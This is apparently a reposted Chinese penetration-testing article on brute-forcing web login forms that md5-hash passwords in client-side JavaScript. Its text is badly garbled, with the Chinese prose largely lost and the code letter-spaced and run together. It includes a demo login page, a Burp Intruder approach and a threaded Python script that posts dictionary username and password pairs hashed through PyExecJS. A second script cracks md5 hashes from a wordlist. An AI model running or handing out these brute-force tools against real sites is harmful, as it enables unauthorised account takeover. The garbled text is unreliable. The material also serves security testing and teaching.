[865] 2018-06-13_渗透技巧--浅析web暴力猜解

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-16
2018-06-13_渗透技巧--浅析web暴力猜解 - - w e b   B y p a s s   B y p a s s   2 0 1 8 - 0 6 - 1 3 0 x 0 1           W e b w e b S Q L X S S w e b 0 x 0 2           W e b                 1                 2                 3 使 H T T P w e b 使 B u r p   S u i t e   I n t r u d e r I n t r u d e r j s W e b 使 j s 使 j s 0 x 0 3   j s j s m d 5 b a s e 6 4 s h a l d e m o l o g i n . h t m l
j s   m d 5 I n t r u d e r P y t h o n j s < ! D O C T Y P E   H T M L >     < h t m l >     < h e a d >     < m e t a   c h a r s e t = " u t f - 8 " >     < t i t l e > < / t i t l e >     < s c r i p t   t y p e = " t e x t / e c m a s c r i p t "   s r c = " m d 5 . j s " > < / s c r i p t > < s c r i p t > f u n c t i o n   c h e c k I n p u t ( )   {         v a r   p a s s w o r d _ i n p u t   =   d o c u m e n t . g e t E l e m e n t B y I d ( ' p a s s w o r d ' ) ;         v a r   p a s s w o r d _ m d 5   =   d o c u m e n t . g e t E l e m e n t B y I d ( ' p a s s w o r d _ m d 5 ' ) ;         / /   s e t   p a s s w o r d         p a s s w o r d _ m d 5 . v a l u e   = h e x _ m d 5 ( p a s s w o r d _ i n p u t . v a l u e ) ;         r e t u r n   t r u e ; } < / s c r i p t > < / h e a d >   < b o d y >     < f o r m   a c t i o n = " l o g i n . p h p "   m e t h o d = " p o s t "   o n s u b m i t = " r e t u r n   c h e c k I n p u t ( ) " >         < i n p u t   t y p e = " t e x t "   i d = " u s e r n a m e "   n a m e = " u s e r n a m e " >   < b r / >         < i n p u t   t y p e = " p a s s w o r d "   i d = " p a s s w o r d " >   < b r / >         < i n p u t   t y p e = " h i d d e n "   i d = " p a s s w o r d _ m d 5 "   n a m e = " p a s s w o r d " >         < i n p u t   t y p e = " s u b m i t "   v a l u e = " "   / > < / f o r m > < / b o d y >     < / h t m l >
3 . 1   B u r p   S u i t e   I n t r u d e r 1 I n t r u d e r   C l u s t e r   b o m b 2 m d 5   3 M D 5     a d m i n : 2 1 2 3 2 f 2 9 7 a 5 7 a 5 a 7 4 3 8 9 4 a 0 e 4 a 8 0 1 f c 3  
4 m d 5   a d m i n / a d m i n 3 . 2   P y E x e c J S P y t h o n   E x e c J s J s p i p   i n s t a l l   P y E x e c J S p h a n t o m j s h t t p s : / / b i t b u c k e t . o r g / a r i y a / p h a n t o m j s / d o w n l o a d s / p h a n t o m j s - 2 . 1 . 1 - w i n d o w s . z i p P y t h o n # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ i m p o r t   r e q u e s t s i m p o r t   t h r e a d p o o l f r o m   s e l e n i u m   i m p o r t   w e b d r i v e r i m p o r t   e x e c j s d e f   g e t p a s s ( s t r ) :         w i t h   o p e n   ( ' m d 5 . j s ' , ' r ' )   a s   j s :                 s o u r c e   =   j s . r e a d ( )                 p h a n t o m   =   e x e c j s . g e t ( ' P h a n t o m J S ' )                 g e t p a s s   =   p h a n t o m . c o m p i l e ( s o u r c e )                 p a s s w o r d   =   g e t p a s s . c a l l ( ' h e x _ m d 5 ' , s t r )
0 x 0 4                   r e t u r n   p a s s w o r d d e f   l o g i n ( u s e r , p a s s w d ) :         u r l = " h t t p : / / 1 2 7 . 0 . 0 . 1 / l o g i n . p h p "         p a y l o a d   = { ' u s e r n a m e ' : u s e r , ' p a s s w o r d ' : g e t p a s s ( p a s s w d ) }         h e a d e r s = { ' U s e r - A g e n t ' : ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 ;   r v : 5 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 5 . 0 ' }         t r y :                                 r e s p o n s e   =   r e q u e s t s . p o s t ( u r l , d a t a = p a y l o a d , h e a d e r s = h e a d e r s , t i m e o u t = 5 )                 r e s u l t = r e s p o n s e . c o n t e n t                 i f   r e s u l t . c o u n t ( ' f a i l ' ) < 1 :                           p r i n t   ' [ s u c c e s s ]   '   + u r l + " : " + u s e r + ' : ' + p a s s w d         e x c e p t :                 p a s s d e f   g e t L i n e s ( f i l e N a m e ) :         l i s t = [ ]         w i t h   o p e n ( f i l e N a m e ,   ' r ' )   a s   f d :                 f o r   l i n e   i n   f d . r e a d l i n e s ( ) :                         l i n e   =   l i n e . s t r i p ( )                         i f   n o t   l e n ( l i n e )   o r   l i n e . s t a r t s w i t h ( ' # ' ) :                                 c o n t i n u e                         l i s t . a p p e n d ( l i n e )         r e t u r n   l i s t i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :                 u s e r n a m e _ l i s t = g e t L i n e s ( ' u s e r . d i c t ' )         p a s s w o r d _ l i s t = g e t L i n e s ( ' p a s s . d i c t ' )         u s e r l i s t   =   [ ( [ u s e r , p a s s w d ] , N o n e )   f o r   u s e r   i n   u s e r n a m e _ l i s t   f o r   p a s s w d   i n   p a s s w o r d _ l i s t ]                 p o o l   =   t h r e a d p o o l . T h r e a d P o o l ( 2 0 )             r e q s   =   t h r e a d p o o l . m a k e R e q u e s t s ( l o g i n , u s e r l i s t )             [ p o o l . p u t R e q u e s t ( r e q )   f o r   r e q   i n   r e q s ]             p o o l . w a i t ( )
        + j s + j s 使 1 访   u r l 访 2 t b m d 5   6 8 4 6 8 6 0 6 8 4 f 0 5 0 2 9 a b c c c 0 9 a 5 3 c d 6 6 f 1 3 m d 5 m d 5 a 1 1 1 1 1 1
T I P S m d 5 m d 5 P y t h o n m d 5 P y t h o n ! / u s r / b i n / e n v   p y t h o n - -   c o d i n g :   u t f - 8   - - i m p o r t   h a s h l i b     s r c = ' 6 8 4 6 8 6 0 6 8 4 f 0 5 0 2 9 a b c c c 0 9 a 5 3 c d 6 6 f 1 ' d e f   g e t _ l i n e ( ) :         f   =   o p e n ( ' 1 . t x t ' )   # m o d e = r         p r i n t   ' s t a r t : '         w h i l e   T r u e :                 l i n e   =   f . r e a d l i n e ( ) . s t r i p ( )                 i f   l e n ( l i n e ) = = 0 :                         p r i n t   ' l i n e   0 '                         b r e a k                 m 1   =   h a s h l i b . m d 5 ( )                 m 1 . u p d a t e ( l i n e )                 t m p   = m 1 . h e x d i g e s t ( )                 p r i n t   l i n e + "     : " + t m p                 i f   t m p = = s r c :                         p r i n t   s r c + u ' :   m d 5 ' + l i n e                         b r e a k
5 + 1 a d m i n 2 P k a v   H T T P   F u z z e r   1 . 2  
3 s y s a d m i n   ·   ·   ·   ·   ·   ·   E a s y S N S _ V 1 . 6 G e t s h e l l   S Q L t a m p e r B y p a s s A b o u t   M e W A F
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则